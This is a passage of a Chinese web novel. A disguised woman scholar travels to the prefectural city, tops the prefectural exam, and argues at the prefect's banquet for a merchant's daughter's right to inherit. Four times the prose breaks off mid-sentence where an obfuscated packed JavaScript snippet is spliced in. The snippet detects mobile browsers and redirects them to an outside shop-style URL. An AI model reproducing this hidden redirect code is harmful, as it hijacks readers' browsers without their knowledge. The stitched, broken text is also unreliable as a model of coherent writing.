“我的意思是，”谢青梧把刀还给他，“几位大哥要是真靠这个吃饭，还是磨磨刀的好。不然别说护送我们，怕是连自己都护不住。” 她说话时声音不高，但茶棚里每个人都听得清楚。刀疤脸身后的汉子们脸上挂不住了，有一个直接往前一步：“小子，你找死？” “找死不敢。”谢青梧站起来，从袖中摸出一块碎银放在桌上，“茶钱。至于护送的事，我看就不必了。几位大哥连刀都磨不好，我们哪敢把性命托付。” 她说完，提起包袱，对周子砚说：“走吧。” 周子砚赶紧跟上。 刀疤脸脸色铁青，想拦，但茶棚外头已经有人看过来了。这地方虽偏，但毕竟是大路边，来往的人多。 谢青梧走到马车边，车夫已经喂完马，正蹲在车辕上抽烟。见她过来，站起身：“公子，没事吧？” “没事，走吧。”谢青梧上了车。 周子砚也跟上来，马车重新上路。等走出老远，周子砚才长出一口气：“谢兄，刚才吓死我了，我还以为他们要动手呢。” “不会。”谢青梧说，“他们就是看咱们是读书人，想讹点钱。真动手，他们不敢。” “你怎么知道？” “你看他们的刀。”谢青梧道，“真要干杀人越货的勾当，刀不会是那样。刀刃钝，刀身锈，说明他们很久没真动过手了。这种人，吓唬吓唬还行，真动手，他们自己先怯。” 周子砚听得愣愣的：“谢兄，你还懂这些？” “书上看的。”谢青梧说，其实不是。是她这些年察言观色，自己琢磨出来的。在谢家那种地方，不会看人脸色，不会分辨虚实，早就活不下去了。 马车继续往前走。下午的时候，下起了小雨。雨不大，但淅淅沥沥的，让路更不好走。 车夫说，照这个速度，天黑前到不了下一个镇子，得在野外歇一夜。 周子砚有些担心：“野外安全吗？” “找个背风的地方，生堆火，没事。”车夫说，“这条路我常走，知道哪儿能歇。” 天快黑时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16946673|193012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，马车拐下官道，进了一片林子。林子里有块空地，旁边有条小溪。车夫停了车，开始捡柴生火。 谢青梧和周子砚也下来帮忙。火很快升起来，橘黄的光照亮一小片地方。车夫从车里拿出干粮，分给他们。 雨已经停了，但夜风很凉。三人围着火堆坐着，谁也不说话。 远处有狼嚎声，隐隐约约的。周子砚往火堆边靠了靠，脸色发白。 “没事。”车夫说，“狼怕火，不敢过来。” 话虽这么说，但这一夜谁也没睡踏实。谢青梧靠着一棵树，闭着眼，耳朵却听着周围的动静。风声，虫鸣，偶尔的鸟叫。 她想起春杏，不知道那丫头现在在做什么。大概又在灯下做针线吧，一边做一边担心她。 天蒙蒙亮时，火堆已经快熄了。车夫添了柴，重新把火烧旺。三个人就着热水吃了点干粮，继续上路。 越往府城走，路越好走，人也越多。快到中午的时候，终于看到了府城的城墙。 青灰色的城墙很高，城门洞开着，人来人往。守城的兵卒在检查路引，队伍排得老长。 谢青梧和周子砚下了车，排队进城。轮到他们时，兵卒看了看路引，又打量他们几眼：“赶考的？” “是。” “进去吧。记住，府城有府城的规矩，别惹事。” 进了城，热闹扑面而来。街道比县城宽，铺子也比县城多，卖什么的都有。周子砚看得眼花缭乱，差点撞到人。 车夫问他们去哪儿，周子砚说已经订好了客栈，在城南。马车又走了小半个时辰，停在一家客栈门口。 客栈不大，但还算干净。掌柜是个胖胖的中年人，见他们进来，笑着迎上来：“两位公子是赶考的吧？房间已经备好了，在三楼。” 房间很小，只有一张床，一张桌子。但窗户临街，光线很好。 周子砚放下包袱，长长舒了口气：“总算到了。” 谢青梧走到窗边，往外看。街上人来人往，有挑担的小贩，有坐轿的富人，有嬉戏的孩童。一派繁华景象。 但她知道，这繁华底下，和县城没什么两样。有欺压，有不公，有无数说不出的苦。 只是藏得更深些。 “谢兄，咱们先去吃点东西吧。”周子砚说，“我快饿死了。” 两人下楼，在客栈大堂要了两碗面。面端上来，热气腾腾的，上面铺着几片肉。 正吃着，门口进来几个人，也是学子打扮，说话声音很大。 “听说了吗？这次府试，崔大人出了名的严。” “严才好，把那些滥竽充数的都刷下去。” “不过崔大人好像特别讨厌寒门出身，说寒门子弟见识浅，写不出好文章。” 周子砚筷子顿了顿，看向谢青梧。 谢青梧低头吃面，好像没听见。 但那几个人的话，她一字不落听进去了。 寒门出身，见识浅。 她慢慢嚼着面，心里那股火，又悄悄烧起来。 那就让他们看看，寒门子弟能写出什么样的文章。 面吃完了，她放下碗，对周子砚说：“回屋温书吧。” “这么早？” “早一天是一天。”谢青梧站起来，走上楼梯。 她的背影挺直，脚步沉稳。周子砚看着，忽然觉得，这位谢兄和平时不太一样。 具体哪儿不一样，他说不上来。 就是觉得，好像有什么东西，在她心里烧着。 烧得很静，但很旺。 8. 府试前夜 府试前三天，府学门口贴出了考场安排。 谢青梧和周子砚挤在人群里看榜。密密麻麻的名字，按籍贯排列。谢青梧在中间偏上的位置找到了自己和周子砚的名字，两人不在同一个考场。 “还好，离得不远。”周子砚松了口气。 看完考场安排，两人沿着府城最热闹的南大街往回走。街道两旁店铺林立，绸缎庄、首饰铺、茶馆酒楼，吆喝声此起彼伏。 路过一家绸缎庄时，门口围了不少人，吵吵嚷嚷的。 周子砚爱看热闹，拉着谢青梧往人群里挤：“看看怎么回事。” 绸缎庄门口，一个穿杏色衣裙的少女正和店掌柜理论。少女约莫十五六岁，眉眼清秀，但此刻气得脸颊发红。 “这匹云锦明明是我先看中的，定金都付了，凭什么转卖给别人？” 掌柜是个矮胖的中年人，陪着笑脸：“林小姐，实在对不住。那位客人出价高，我也得做生意不是？您的定金我双倍退还，您看……” “我不要钱！”少女声音清脆，“我就要这匹布。这是我娘生辰，我特意挑了半个月才挑中的。” “这……”掌柜为难，“布已经卖了，人家下午就来取。林小姐，您就别为难我了。” 围观的百姓指指点点，有人说掌柜不厚道，也有人说这姑娘太较真，一匹布而已。 周子砚小声说：“这掌柜确实不地道，收了定金还转卖。” 谢青梧没说话。她看着那少女，杏色衣裙料子普通，但剪裁得体。说话时虽然生气，但条理清晰，不是那种只会哭闹的娇小姐。 正看着，人群外头传来马蹄声。几匹马停在路边，下来几个人。为首的是个锦衣公子，二十来岁，手里摇着把折扇，身后跟着几个家丁。 掌柜看见他，眼睛一亮，赶紧迎上去：“孙公子，您来了！” 锦衣公子瞥了眼门口的情形：“怎么回事？” “没什么没什么，一点小误会。”掌柜赔笑，“您要的云锦已经备好了，里边请。” 少女上前一步：“孙公子，这匹云锦是我先订下的。” 孙公子打量她一眼，笑了：“林小姐？怎么，你也看上这匹布了？” “是我先付的定金。” “定金？”孙公子摇着扇子，“做生意嘛，价高者得。掌柜的，我出三倍价钱，这布我要了。” 掌柜连连点头：“是是是，孙公子说的是。” 少女咬紧嘴唇，眼圈红了，但强忍着没掉眼泪。 谢青梧忽然从人群里走出来。 “这位掌柜。”她开口，声音不高，但周围一下子安静了。 掌柜转头看她，见是个清瘦少年，穿着普通，便没太在意：“这位公子有事？” “想问掌柜几个问题。”谢青梧说，“您收定金时，可曾与这位姑娘约定取货日期？” 掌柜一愣：“约、约了，说好今天来取。” “那约定时，可曾说若逾期不取，定金不退，货物可另行售卖？” “这……”掌柜支吾，“倒没说这么细……” “既然没说，那按常理，定金既付，买卖已成。”谢青梧语气平静，“掌柜收下定金，这匹布的所有权便已归这位姑娘。您擅自转卖，是违约。” 周围百姓开始议论。有人点头，有人说这少年说得在理。 孙公子皱眉：“你谁啊？多管闲事。” “路见不平而已。”谢青梧转向他，“孙公子若是真喜欢这布，也该等掌柜与林小姐解约后再买。如今这布还是林小姐的，您强行要买，是强买。” “你！”孙公子脸上挂不住，“一匹布而已，本公子出得起钱！” “出得起钱，也要讲规矩。”谢青梧说，“否则与强抢何异？” 这话说得重了。孙公子脸色一变，身后的家丁上前一步，似乎要动手。 周子砚赶紧挤过来，挡在谢青梧身前：“有话好好说，别动手！” 谢青梧却没退。她看着孙公子，眼神清亮：“孙公子，府试在即，府城内外多少双眼睛看着。为了一匹布闹出事来，传到考官耳朵里，怕是不妥。” 孙公子动作一滞。 他是今年参加府试的考生，家里花了大力气打点，要是这时候闹出是非，确实影响前程。 掌柜见状，赶紧打圆场：“孙公子息怒，这位小公子说得也有理。要不这样，店里还有一匹类似的云锦，虽不及这匹，但也……” “不必了。”孙公子冷哼一声，狠狠瞪了谢青梧一眼，转身就走。家丁们跟了上去。 人群渐渐散去。 掌柜擦了擦汗，对少女说：“林小姐，布您拿走吧，按原价。” 少女却摇摇头：“不必了。布我还是要，但钱我会照付，不多不少。” 她转身看向谢青梧，认真行了一礼：“多谢这位公子仗义执言。小女子林疏影，不知公子尊姓大名？” “谢怀瑾。” “谢公子。”林疏影从袖中取出一块玉佩，“这是我随身之物，不值什么钱，但胜在精巧。今日之恩，无以为报，这个请公子收下。” 谢青梧没接：“举手之劳，林小姐不必客气。” “要的。”林疏影坚持，“我娘说过，受人恩惠当铭记于心。公子若不收，我便一直跟着您，直到您收下为止。” 她说得认真，不像开玩笑。 谢青梧想了想，接过玉佩。玉佩温润，雕着简单的云纹，确实精巧。 “那就谢过林小姐了。” 林疏影这才笑了。她笑起来眉眼弯弯，刚才那股倔强劲儿全没了，倒显出几分少女的灵动。 付了钱，取了布，林疏影抱着那匹云锦，又对谢青梧行了一礼，这才离开。 周子砚看着她走远，小声说：“这位林小姐倒是爽快人。” 谢青梧嗯了一声，把玉佩收进袖中。 两人继续往回走。周子砚还在说刚才的事：“谢兄，你胆子真大，那孙公子看着就不是好惹的。” “他不敢惹事。”谢青梧说，“府试当前，谁也不想节外生枝。” “那倒也是。”周子砚点点头，又想起什么，“对了，那个林小姐，她说她姓林？该不会就是那个林家吧？” “哪个林家？” “城南做丝绸生意的林家啊。”周子砚说，“我舅舅提过，林家是府城数一数二的商贾，可惜当家的去年病逝，只留下个女儿。听说族里那些叔伯正惦记着家产呢。” 谢青梧脚步顿了顿。 林疏影……原来如此。 怪不得一匹布也要争。不是争布，是争一口气。 回到客栈，谢青梧把玉佩拿出来细看。玉质普通，但雕工确实好，云纹流畅，像是出自大家之手。翻过来，背面刻着一个小小的“疏”字。 她把玉佩收好，继续温书。 傍晚时分，客栈大堂忽然热闹起来。谢青梧下楼吃饭，看见好几个学子聚在一起说话，神色激动。 “听说了吗？崔大人放话了，这次府试的文章，谁要是敢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16946674|193012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 写那些标新立异的东西，直接罢落！” “真的假的？” “千真万确！我表哥在府衙当差，亲耳听见的。” “那完了，我还准备在策论里写点新想法呢……” “劝你别。崔大人最讨厌这个。老老实实写，中规中矩，比什么都强。” 周子砚坐在谢青梧对面，听着这些话，脸色发白：“谢兄，这……” 谢青梧低头吃饭，没说话。 吃完饭，她没直接回房，而是出了客栈，在街上慢慢走。 府城的夜晚比县城热闹。灯火通明，行人如织。有卖小吃的摊子，有说书的茶馆，有唱曲的勾栏。 她走过一家茶馆，里头正说《西厢记》。说书人声情并茂，底下的客人听得入神。 她站在门口听了一会儿。 才子佳人，私定终身。故事是好故事，可现实里，有几个女子能自己做主？ 她继续往前走。 路过一条小巷，巷口有家小酒馆。酒馆里坐着几个人，正大声说话。 “要我说，女子就该安分守己。读什么书？考什么试？相夫教子才是本分！” “就是。那些想着抛头露面的，都是不安于室。” “听说京城还有人提议开女学，简直荒唐！” 谢青梧停下脚步。 她站在阴影里，看着酒馆里那些人。有老有少，有读书人模样，也有商贩打扮。一个个说得唾沫横飞，仿佛女子读书是天大的罪过。 她站了很久，直到那些人喝完酒，摇摇晃晃地离开。 夜风吹过来，有点凉。 她慢慢走回客栈。上楼时，在楼梯口遇见了周子砚。 “谢兄，你去哪儿了？我正想找你。” “随便走走。” 周子砚看着她，欲言又止。 “怎么了？”谢青梧问。 “那个……刚才又有人来传话，说崔大人明天要在府学讲学，所有考生都得去听。”周子砚小声说，“我猜，怕是又要敲打咱们，让咱们别乱写。” 谢青梧点点头：“知道了。” 回到房间，她没点灯，在黑暗里坐着。 窗外的光透进来，朦朦胧胧的。 她想起林疏影抱着布的样子，想起酒馆里那些人的话，想起谢明远那句“别动不该动的心思”。 不该动的心思。 女子读书是不该，女子经商是不该，女子想要公平，更是不该。 可凭什么？ 就凭她们生来是女子？ 谢青梧站起来，走到窗边。 街上还有行人，三三两两。有夫妻并肩而行，有母亲牵着孩子，有少女结伴说笑。 她们或许从没想过要改变什么，就这样一天天过下去，嫁人生子，老去死去。 可她不一样。 她见过林姨娘咽气前的不甘，见过翠儿投井后的惨状，见过深宅里无数女子的眼泪。 她没法装作看不见。 桌上放着明天要带的书。她走过去，翻开一页。 烛火跳动，字迹在光里明明灭灭。 她看了很久，然后提笔，在纸的空白处写下一行小字： “道之所在，虽千万人吾往矣。” 写完了，她吹灭灯，躺下睡觉。 黑暗里，她睁着眼，听着外头的更鼓声。 一更，二更，三更。 天快亮时，她才闭上眼。 梦里没有锦绣文章，没有金榜题名。 9. 府试开考 天没亮，谢青梧就醒了。 春杏不在身边，但这两个月在客栈，她已经习惯了早起。她安静地起身，检查要带的东西：考篮、笔墨、干粮、水囊。每样都妥帖。 下楼时，大堂里已经聚了不少考生。有的在吃早饭，有的在最后翻书，气氛紧张。周子砚看见她，招招手，脸色有点白。 “谢兄，我昨晚没睡好。” “正常。”谢青梧在他对面坐下，要了碗粥。 “你说崔大人今天真会在考场上盯着咱们吗？”周子砚压低声音，“我听说他往年会抽查考场，看到不合意的文章，当场就撕了。” 谢青梧喝了口粥：“做好自己的文章就行。” 周子砚还想说什么，但看她神色平静，又把话咽了回去。 吃完早饭，两人随着人流往府学走。街道上全是考生和送考的人，黑压压一片。有人高声说话壮胆，有人埋头默诵，还有人边走边拜，求文曲星保佑。 府学门口，衙役挨个检查考篮、搜身。轮到谢青梧时，她神色如常地抬起手臂。衙役检查得仔细，从发髻到鞋底，没放过一处。束胸缠得紧实，布料边缘用软布包好，查不出来。 进了考场，找到自己的号舍。比县试的稍大些，桌椅也新。谢青梧放下东西，铺开纸笔。 钟声响起。 考官入场。为首的是个五十来岁的官员，面容严肃，眼神锐利，正是主考官崔蔺。他在考场里走了一圈，目光扫过每个考生，最后停在中央。 “开考。” 试卷发下来。谢青梧接过，平铺在桌上。 第一场还是四书文。题目：“君子不器”。 这题目有意思。君子不像器物那样只有单一用途，要有多方面的才能和修养。常见的写法是赞扬君子博学多能，但谢青梧盯着这四个字，忽然想到别的。 器物有固定用途，女子在世人眼里，是不是也被当成了“器”？相夫教子是用途，生儿育女是用途，除此之外，再无其他。 她提笔蘸墨，却没有立刻写。她在想崔蔺那句“标新立异者罢落”，在想林疏影抱着布的样子，想酒馆里那些人的议论。 笔尖悬在纸上，墨将滴未滴。 最终落下时，她写的还是正论。从“君子博学而多能”破题，引经据典，论述君子当通晓六艺、明辨事理。文章工整，挑不出错。 但她在结尾处，轻轻加了一句：“然世人常以器量人，以用定值，此非知人也。” 这句话说得隐晦。说的是君子不该被当器物看待，但落在有心人眼里，或许能品出别的意思。 她写完，放下笔，等墨干。 斜对面的号舍里，有个考生忽然咳嗽起来，咳得撕心裂肺。监考的衙役过去查看，那考生脸色惨白，摆摆手示意没事。 谢青梧移开视线。她看到考场角落里，一个年纪较大的考生正偷偷抹汗，手抖得厉害。另一边的年轻考生则在咬笔杆，眉头紧皱。 众生相。 钟声再响，收卷。 中场休息时，考生们可以出来走动，但不能交谈。谢青梧站在号舍外，活动了下手腕。周子砚在不远处，正仰头喝水，喉结滚动得厉害，看得出紧张。 第二场考诗赋。题目是“秋日即景”。 谢青梧想了想，写了几行。不是多出彩，但合规矩，押韵对仗都工整。她没在这上头费太多心思。 第三场才是重头戏：策论。 题目发下来时，考场里响起低低的吸气声。 “论农商之重”。 这题目不新鲜，但难写。写重农轻商是老调，写农商并重又可能触怒某些人。更要命的是，崔蔺就站在考场中央，背着手，目光如鹰。 谢青梧看着题目，想起县试时她写的那句“妇功桑织亦为国用”。那篇文章被抄送京城，引来过议论。 这次还写吗？ 她抬眼，看向崔蔺。崔蔺也正好看过来，眼神冷淡，带着审视。 四目相对一瞬，谢青梧垂下眼。 她提起笔。 这一次，她没犹豫。 “农为国之本，商为国之脉。本固则邦宁，脉通则物阜。” 开头中规中矩。她接着写农事的重要，写耕种的辛苦，写赋税徭役。写到商时，她笔锋一转。 “然商非末也。货殖流通，有无相济，此商之功。江南之丝北运，塞外之马南来，若无商贾，何以通之？” 她写得很慢，字字斟酌。写到一半时，她停笔，看向窗外。 秋日阳光正好，透过窗棂洒在纸上。她能看见尘埃在光里飞舞，细小，但清晰。 她继续写。 “更有妇人织造，女红刺绣，虽云内事，实关经济。一匹之成，数日之功；千家之织，可裕国库。若视之为‘妇功’而轻之，是未见其用也。” 这句话写出来时，她手很稳。 她知道会有人看到，知道崔蔺可能会不满，知道这或许会影响她的名次。 但她还是写了。 写完最后一个字，她放下笔，长长舒了口气。 钟声响起，收卷。 考生们陆续离场。谢青梧收拾好东西，随着人流往外走。周子砚挤过来，脸色复杂。 “谢兄，你策论……是不是写了那个？” “哪个？” “就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16946675|193012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是……女子织造那些。”周子砚压低声音，“我坐在你斜后方，扫到一眼。你胆子太大了，崔大人今天就在考场里转悠。” “写了就写了。”谢青梧说。 “可是……” “子砚。”谢青梧停下脚步，看他，“如果一篇文章，连自己想说的话都不敢写，那写来何用？” 周子砚愣了愣，没说话。 两人走出府学。外头阳光刺眼，照得人有些恍惚。送考的人群还没散，有家长拉着孩子问长问短，有同窗聚在一起对答案。 谢青梧没停留，径直往客栈走。 回到房间，她关上门，坐在窗前。 桌上放着几本书，都是这些日子看的。她随手翻开一本，却看不进去。眼前晃过考场上的情景，晃过崔蔺那张严肃的脸，晃过自己笔下的字。 她不知道结果会怎样。 或许会罢落，或许会中举，或许只是平平。 但至少，她写了想写的话。 窗外传来喧闹声。她起身去看，是几个考生在街上争论，脸红脖子粗，大概是在对答案。 她看了一会儿，关上窗。 傍晚时分，周子砚来敲门，说一起去吃饭。两人下楼，大堂里已经坐了不少考生，都在议论今天的考题。 “那道策论你们怎么写的？我写重农抑商，应该稳妥。” “我也是。崔大人最讨厌商人那套，写农商并重怕是危险。” “听说有人写了女子织造的事，真是找死。” 周子砚看了谢青梧一眼。谢青梧神色如常，低头吃面。 正吃着，门口进来几个人。为首的是个锦衣公子，正是那天在绸缎庄遇到的孙公子。他一眼看见谢青梧，脸色沉了沉，但没过来，在另一桌坐下。 周子砚小声道：“他也来考试了。” “嗯。” “谢兄，你说他会不会记仇，在崔大人面前说你坏话？” “随他。”谢青梧说。 吃完饭，两人回房。周子砚还想说什么，谢青梧已经关上了门。 她没点灯，在黑暗里坐着。 月光从窗户照进来，在地上铺开一片银白。她看着那片光，忽然想起林姨娘。 姨娘病重时，拉着她的手说，梧儿，女子这辈子，太难了。 是啊，太难了。 所以她才要试试，试试看能不能把这条路，走宽一点。 哪怕只是一点点。 夜深了，外头的喧闹渐渐平息。 谢青梧躺下，闭上眼。 明天放榜，结果如何，很快就知道了。 她翻了个身，面朝墙壁。 10. 榜首 放榜那天，谢青梧没早起。 她睡到天光大亮才起身，洗漱，吃早饭，动作平常得像任何一个普通日子。周子砚在门口转了三圈，终于忍不住敲门。 “谢兄，你怎么还不急？” “急什么？”谢青梧开门让他进来。 “放榜啊！”周子砚脸都急红了，“这会儿府学门口肯定挤满人了，咱们再不去，好位置都没了。” “挤在那儿就能中榜吗？”谢青梧倒了杯水给他。 周子砚被噎了一下，接过水一口喝完，还是坐不住：“话是这么说，可……可总得去看看啊。” 谢青梧看他实在着急，这才起身：“那就去吧。” 两人到府学时，门口果然已经水泄不通。黑压压一片人头，都仰着脖子往照壁上看。衙役刚把红纸贴上去，墨迹还没干透。 周子砚拼命往前挤，谢青梧跟在他身后。挤到一半，前头忽然传来惊呼。 “榜首！榜首是谢怀瑾！” 人群骚动起来。无数道目光扫视，想找出这个谢怀瑾是谁。周子砚愣在原地，好半天才转身抓住谢青梧的胳膊：“谢兄！是你！榜首！” 谢青梧抬眼看去。红纸最上方，“谢怀瑾”三个字写得清清楚楚。 她没什么表情，只是点了点头。 周围有人认出她来，开始指指点点。 “就是他，那个在考场写女子织造的。” “崔大人居然没罢落他？” “何止没罢落，还给榜首！难不成崔大人转性了？” “谁知道呢，许是文章确实好。” 议论声中，谢青梧转身往外走。周子砚赶紧跟上，脸上又是笑又是惊，表情复杂。 刚挤出人群，斜刺里冲出几个人，拦住了去路。 是孙公子。他脸色铁青，身后跟着几个家丁。 “谢怀瑾。”孙公子盯着她，声音从牙缝里挤出来，“你倒是好本事。” “孙公子有事？”谢青梧问。 “别装傻。”孙公子往前一步，“你写的什么文章，自己清楚。崔大人最讨厌这些，凭什么给你榜首？” “这话，孙公子该去问崔大人。” “我问你！”孙公子声音拔高，“你是不是走了什么门路？还是说，你在文章里拍了崔大人的马屁？” 周围渐渐聚拢起看热闹的人。周子砚想说话，被谢青梧拦住了。 她看着孙公子，忽然笑了：“孙公子以为，崔大人是什么人？几句话就能糊弄过去？” “你什么意思？” “我的意思是，”谢青梧声音清晰，“崔大人阅卷无数，文章好坏，他心里有数。孙公子若不服，不如想想自己的文章差在哪里，而不是在这儿质问旁人。” 这话说得客气，但意思明白：你自己考不好，别怪别人。 孙公子脸涨成猪肝色。他家在府城有些势力，从小被人捧着，还没受过这种气。 “好，好。”他连说两个好字，“谢怀瑾，咱们走着瞧。” 他带着人走了。围观的人群渐渐散去，但议论没停。谢怀瑾这个名字，今天之后，在府城学子圈里算是彻底响了。 周子砚长出一口气：“吓死我了，我还以为他要动手。” “他不敢。”谢青梧说，“府试刚放榜，这时候闹事，对他没好处。” “可他会不会记恨，往后找麻烦？” “记恨是肯定的。”谢青梧继续往前走，“但麻烦……那得看他有没有那个本事。” 两人回到客栈。掌柜已经知道消息，迎出来时脸上堆满笑：“恭喜谢公子！小店能出个榜首，真是蓬荜生辉！” 谢青梧淡淡应了，上楼回房。 关上门，她在窗前站了一会儿。 榜首。意料之外，情理之中。 她知道那篇文章写得好，但没想到崔蔺会给她榜首。那个严肃的老大人，看起来最厌恶“标新立异”，却给了她最高的肯定。 这世上的人和事，果然不能只看表面。 下午，府学派人来请，说知府大人要设宴，请今科举人一聚。来传话的是个年轻书吏，态度客气得很。 谢青梧换了身干净衣裳，和周子砚一起过去。 宴席设在府衙后园。到的时候，园子里已经聚了不少人。今科举人大多来了，还有几位府学的夫子作陪。主位上坐着知府张承，四十来岁，面容和善。他旁边坐着崔蔺，依旧是那副严肃表情。 谢青梧进来时，园子里静了一瞬。 所有人的目光都落在她身上。惊讶，好奇，探究，还有掩饰不住的羡慕嫉妒。 张承笑着招手：“谢怀瑾？来，坐这边。” 那是靠近主位的位置。谢青梧走过去，行礼落座。周子砚坐在她旁边，紧张得手脚都不知道怎么放。 宴席开始。酒过三巡，气氛渐渐活络。有人开始作诗，有人高谈阔论，说的都是些场面话。 崔蔺一直没怎么说话，只偶尔和张承交谈几句。直到有人提起今科考题，他才抬眼，看向谢青梧。 “谢怀瑾。” “学生在。” “你那篇策论，我看了三遍。”崔蔺声音不大，但园子里瞬间安静下来，“写得不错。” 谢青梧垂眸：“谢大人夸奖。” “我不是夸你。”崔蔺说，“我是说，文章本身不错。论据扎实，条理清晰，难得的是有自己见解。” 他顿了顿，环视园中众人：“我知道，外头有人说我讨厌标新立异。这话对，也不对。我讨厌的是为标新立异而标新立异，是那些华而不实、哗众取宠的东西。” “但真正的见解，真正的思考，我不讨厌。”他看着谢青梧，“你那句‘妇人织造，虽云内事，实关经济’，说得在理。江南织户，女子居多，若她们不织，国库确实要少一大笔进项。” 园子里鸦雀无声。所有人都没想到，崔蔺会当众说这些话。 张承笑着打圆场：“崔大人爱才之心，可见一斑。” 崔蔺摆摆手，没再接话。他又看了谢青梧一眼，那眼神复杂，有欣赏，也有审视。 宴席继续，但气氛不一样了。有人开始主动找谢青梧说话，态度恭敬。周子砚在一旁小声说：“谢兄，你这次是真出名了。” 谢青梧没接话。她喝着茶，心里清楚，出名未必是好事。 宴席过半，外头忽然传来喧哗声。一个衙役匆匆进来，在张承耳边说了几句。张承脸色微变，起身告罪，匆匆出去了。 园子里众人面面相觑，不知道发生了什么事。 没过多久，张承回来了，身后还跟着个人。是个少女，杏色衣裙有些凌乱，发髻也散了，正是林疏影。 她脸色苍白，眼睛红着，但背挺得很直。 张承在主位坐下，神色凝重：“各位，打扰了。林小姐有件事，想请各位做个见证。” 林疏影上前一步，对着园中众人行了一礼。 “小女子林疏影，家父去年病逝，留下城南林氏绸缎庄。按律，家产应由我继承。但族中叔伯以女子不能经商为由，要夺我家产。”她声音微颤，但清晰，“今日他们带人强闯铺子，要夺账本契书。我无奈，只能来求知府大人做主。” 园子里一片哗然。 女子继承家产本就少见，更别说经营商铺。许多人脸上露出不以为然的神色。 张承咳嗽一声：“此事涉及律法家事，本官自会审理。林小姐先回去，明日升堂再说。” “大人。”林疏影跪下，“账本契书已被他们抢走，若等明日，只怕什么都晚了。求大人现在就派人去取回，小女子愿以性命担保，所言句句属实。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16946676|193012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 张承为难。这种事其实常见，女子守不住家产，被族亲侵占。官府大多睁只眼闭只眼，毕竟“女子不能经商”是约定俗成的规矩。 园子里有人小声议论：“一个姑娘家，守着铺子做什么，早晚要嫁人的。” “就是，给了族亲，也不算外流。” “听说林家那些叔伯也不是善茬……” 谢青梧放下茶杯。 她站起身。 所有人的目光又聚到她身上。 “张大人。”她开口，“学生有个问题。” “谢公子请说。” “按《景律·户婚》，父母亡故，家产如何继承？” 张承愣了愣：“这个……若无子，由女继承。” “女子继承家产，可有禁止经商的条文？” “这……”张承迟疑，“倒没有明文禁止，但女子经商，确实少见……” “少见不等于不能。”谢青梧转向园中众人，“律法既然允许女子继承，那她就有权处置自己的财产。经营商铺是处置方式之一，只要合法经营，官府为何要干涉？” 有人反驳：“谢公子，话不是这么说。女子抛头露面，不合礼教。” “那请问，”谢青梧看向说话的人，“若是男子继承家产后经商，算不算抛头露面？” “男子自然不同！” “何处不同？”谢青梧问，“是因为男子天生比女子会经商，还是因为世人觉得女子不该经商？” 那人被问住了，张了张嘴，没说出话。 园子里安静得可怕。 崔蔺忽然开口：“谢怀瑾，你继续说。” 谢青梧看向他，顿了顿，才说：“学生只是觉得，律法既然定了，就该遵守。女子继承家产是律法允许的，经营商铺也是正当营生。若因她是女子就剥夺这份权利，那律法的意义何在？” 她声音不高，但每个字都清晰：“林小姐今日能来求告，说明她信官府能主持公道。若官府也以‘女子不该’为由推脱，那往后还有谁敢信律法？” 张承脸色变了变。 崔蔺看着他：“张大人，你觉得呢？” 张承额头冒汗。他看看林疏影，看看谢青梧，再看看崔蔺，最后一咬牙：“来人！去城南林氏绸缎庄，把账本契书取回来！若有阻拦，按律处置！” 衙役领命去了。 林疏影眼圈更红，对着张承深深一拜：“谢大人。” 她又转向谢青梧，行了一礼，没说话，但眼神里的感激明明白白。 宴席匆匆散了。 回去的路上，周子砚一直没说话。直到快到客栈，他才小声问：“谢兄，你为什么要帮林小姐？” “不该帮吗？” “不是不该……”周子砚挠头，“我就是觉得，这事儿挺麻烦的。她那些族亲肯定不会罢休，你这一出头，等于把麻烦揽自己身上了。” 谢青梧脚步没停。 “子砚，你考科举是为了什么？” “为了……为了光宗耀祖，为了有个前程。” “那有了前程之后呢？”谢青梧问，“只为自己活着，还是也能为别人说句话？” 周子砚答不上来。 谢青梧笑了笑，没再问。 回到房间，她推开窗。夜色已深，街上还有零星灯火。 她想起林疏影跪在那里的样子，想起园子里那些人脸上的不以为然，想起自己说的那些话。 